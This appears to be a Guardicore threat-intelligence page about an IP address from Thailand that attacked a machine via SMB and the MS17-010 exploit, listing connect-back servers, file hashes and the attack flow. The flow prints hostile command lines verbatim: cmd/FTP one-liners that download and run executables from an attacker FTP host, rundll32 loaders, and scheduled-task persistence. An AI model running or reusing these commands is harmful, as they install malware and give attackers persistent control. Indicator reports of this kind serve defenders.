IP Address: 1.20.207.182Malicious

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IP Address:
1.20.207.182​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

SMB

Tags

DNS Query User Created IDS - Attempted Administrator Privilege Gain File Operation By CMD System File Modification Outgoing Connection User Removed CMD PowerShell Access Suspicious Domain Service Configuration MS17-010 User Added to Group Listening SMB Null Session Login Scheduled Task Creation SMB IDS - A Network Trojan was detected Known Malware Download and Execute

Connect Back Servers

worldsender.info js.1226bye.xyz

139.5.177.10 223.25.247.240 173.247.239.186 74.222.14.94

Basic Information

IP Address

1.20.207.182

Domain

-

ISP

-

Country

Thailand

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-10-25

Last seen in Guardicore Centra

2019-10-26

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 74.222.14.94:80

Outgoing Connection

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

User admin$ was created with the password ************* and added to groups: Administrators

User Added to Group User Created

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.10:80, 173.247.239.186:80 and 74.222.14.94:80

Outgoing Connection

The file C:\Windows\System32\upsupx.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\upsupx.exe started listening on ports: 32831

Listening

Process c:\windows\system32\u.exe generated outgoing network traffic to: worldsender.info:80

Outgoing Connection

Process c:\windows\system32\u.exe attempted to access suspicious domains: worldsender.info

Outgoing Connection Access Suspicious Domain

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

The command line cmd /c echo open ftp.0603bye.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.0603bye.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.0603bye.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282,360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48,128 bytes

C:\Windows\System32\upsupx.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221,184 bytes

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IP Address: 1.20.207.182​Malicious